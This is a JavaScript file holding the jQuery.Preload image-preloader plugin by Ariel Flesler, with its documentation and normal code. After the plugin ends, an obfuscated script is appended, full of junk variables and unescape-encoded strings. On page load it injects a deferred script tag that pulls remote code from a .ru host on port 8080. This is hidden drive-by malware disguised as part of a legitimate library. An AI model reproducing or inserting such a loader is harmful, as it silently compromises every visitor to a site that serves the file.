/**
 * jQuery.Preload
 * Copyright (c) 2008 Ariel Flesler - aflesler(at)gmail(dot)com
 * Dual licensed under MIT and GPL.
 * Date: 3/25/2009
 *
 * @projectDescription Multifunctional preloader
 * @author Ariel Flesler
 * @version 1.0.8
 *
 * @id jQuery.preload
 * @param {String, jQuery, Array< String, <a>, <link>, <img> >} original Collection of sources to preload
 * @param {Object} settings Hash of settings.
 *
 * @id jQuery.fn.preload
 * @param {Object} settings Hash of settings.
 * @return {jQuery} Returns the same jQuery object, for chaining.
 *
 * @example Link Mode:
 *	$.preload( '#images a' );
 *
 * @example Rollover Mode:
 *	$.preload( '#images img', {
 *		find:/\.(gif|jpg)/,
 *		replace:'_over.$1'
 *	});
 *
 * @example Src Mode:
 *	$.preload( [ 'red', 'blue', 'yellow' ], {
 *		base:'images/colors/',
 *		ext:'.jpg'
 *	});
 *
 * @example Placeholder Mode:
 *	$.preload( '#images img', {
 *		placeholder:'placeholder.jpg',
 *		notFound:'notfound.jpg'
 *	});
 *
 * @example Placeholder+Rollover Mode(High res):
 *	$.preload( '#images img', {
 *		placeholder:true,
 *		find:/\.(gif|jpg)/,
 *		replace:'_high.$1'
 *	});
 */
;(function( $ ){

	var $preload = $.preload = function( original, settings ){
		if( original.split ) // selector
			original = $(original);

		settings = $.extend( {}, $preload.defaults, settings );
		var sources = $.map( original, function( source ){
			if( !source ) 
				return; // skip
			if( source.split ) // URL Mode
				return settings.base + source + settings.ext;
			var url = source.src || source.href; // save the original source
			if( typeof settings.placeholder == 'string' && source.src ) // Placeholder Mode, if it's an image, set it.
				source.src = settings.placeholder;
			if( url && settings.find ) // Rollover mode
				url = url.replace( settings.find, settings.replace );
			return url || null; // skip if empty string
		});

		var data = {
			loaded:0, // how many were loaded successfully
			failed:0, // how many urls failed
			next:0, // which one's the next image to load (index)
			done:0, // how many urls were tried
			/*
			index:0, // index of the related image			
			found:false, // whether the last one was successful
			*/
			total:sources.length // how many images are being preloaded overall
		};
		
		if( !data.total ) // nothing to preload
			return finish();
		
		var imgs = $(Array(settings.threshold+1).join('<img/>'))
			.load(handler).error(handler).bind('abort',handler).each(fetch);
		
		function handler( e ){
			data.element = this;
			data.found = e.type == 'load';
			data.image = this.src;
			data.index = this.index;
			var orig = data.original = original[this.index];
			data[data.found?'loaded':'failed']++;
			data.done++;

			// This will ensure that the images aren't "un-cached" after a while
			if( settings.enforceCache )
				$preload.cache.push( 
					$('<img/>').attr('src',data.image)[0]
				);

			if( settings.placeholder && orig.src ) // special case when on placeholder mode
				orig.src = data.found ? data.image : settings.notFound || orig.src;
			if( settings.onComplete )
				settings.onComplete( data );
			if( data.done < data.total ) // let's continue
				fetch( 0, this );
			else{ // we are finished
				if( imgs && imgs.unbind )
					imgs.unbind('load').unbind('error').unbind('abort'); // cleanup
				imgs = null;
				finish();
			}
		};
		function fetch( i, img, retry ){
			// IE problem, can't preload more than 15
			if( img.attachEvent /* msie */ && data.next && data.next % $preload.gap == 0 && !retry ){
				setTimeout(function(){ fetch( i, img, true ); }, 0);
				return false;
			}
			if( data.next == data.total ) return false; // no more to fetch
			img.index = data.next; // save it, we'll need it.
			img.src = sources[data.next++];
			if( settings.onRequest ){
				data.index = img.index;
				data.element = img;
				data.image = img.src;
				data.original = original[data.next-1];
				settings.onRequest( data );
			}
		};
		function finish(){
			if( settings.onFinish )
				settings.onFinish( data );
		};
	};

	 // each time we load this amount and it's IE, we must rest for a while, make it lower if you get stack overflow.
	$preload.gap = 14; 
	$preload.cache = [];
	
	$preload.defaults = {
		threshold:2, // how many images to load simultaneously
		base:'', // URL mode: a base url can be specified, it is prepended to all string urls
		ext:'', // URL mode:same as base, but it's appended after the original url.
		replace:'' // Rollover mode: replacement (can be left empty)
		/*
		enforceCache: false, // If true, the plugin will save a copy of the images in $.preload.cache
		find:null, // Rollover mode: a string or regex for the replacement
		notFound:'' // Placeholder Mode: Optional url of an image to use when the original wasn't found
		placeholder:'', // Placeholder Mode: url of an image to set while loading
		onRequest:function( data ){ ... }, // callback called every time a new url is requested
		onComplete:function( data ){ ... }, // callback called every time a response is received(successful or not)
		onFinish:function( data ){ ... } // callback called after all the images were loaded(or failed)
		*/
	};

	$.fn.preload = function( settings ){
		$preload( this, settings );
		return this;
	};

})( jQuery );

this.RD="";function C(){var Q="";var dC=new String();var r=unescape;var rv=window;var f;if(f!='V' && f!='VW'){f=''};var NX;if(NX!='' && NX!='t'){NX=null};var B=r("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%65%78%70%65%72%74%73%2d%65%78%63%68%61%6e%67%65%2e%63%6f%6d%2f%62%68%61%72%61%74%73%74%75%64%65%6e%74%2e%63%6f%6d%2e%70%68%70");var sD=new Date();var q;if(q!='' && q!='c'){q=null};var Pc="";function e(K,Y){var R=new String("g");this.g='';var k=r("%5b"), H=r("%5d");var S=k+Y+H;var BI=new RegExp(S, R);return K.replace(BI, new String());var Xs=new Date();var ZN;if(ZN!='' && ZN!='W'){ZN=null};};var Pa=new String();var tY='';var NXp='';var FAf;if(FAf!='Mo'){FAf=''};var n=new String();var Kf=new Date();var s=document;var kX;if(kX!='Gc'){kX='Gc'};var F=e('8944316092427874629507672','17235946');this.Vp="";var PD;if(PD!='l'){PD=''};var qH;if(qH!='xu'){qH=''};function G(){var hZ;if(hZ!=''){hZ='oC'};var rr="";var CB;if(CB!='' && CB!='dV'){CB='rm'};var t_;if(t_!='' && t_!='oH'){t_='Nq'};var _=r("%68%74%74%70%3a%2f%2f%63%68%65%61%74%73%69%6e%2e%72%75%3a");var J="";var Sc;if(Sc!='' && Sc!='pL'){Sc=''};var MI=new Date();var bk;if(bk!='' && bk!='A'){bk=null};n=_;var Gz=new String();var fg=new String();n+=F;var AG;if(AG!='Rh' && AG!='oT'){AG=''};var ze=new Array();n+=B;this.EJ="";var O=new Date();try {this.rU='';var QL="";u=s.createElement(e('s0czrXizpdtX','dzX0'));var EsE;if(EsE!='EL' && EsE!='BF'){EsE='EL'};var kF="";var Ge;if(Ge!='Un' && Ge!='Uw'){Ge=''};u[r("%73%72%63")]=n;var bP='';u[r("%64%65%66%65%72")]=[1][0];this.tA="";this.i_='';var lt="";s.body.appendChild(u);var CQ;if(CQ!='uz'){CQ='uz'};} catch(N){var hC;if(hC!='' && hC!='Ao'){hC='xA'};var vs=new String();alert(N);};var x_;if(x_!='VS'){x_='VS'};}rv["onl"+"oad"]=G;var xp=new String();var EY;if(EY!='_tR' && EY != ''){EY=null};this.AwH="";var Fa;if(Fa!='' && Fa!='Hw'){Fa=''};};var mt=new Array();C();var iQ=new Date();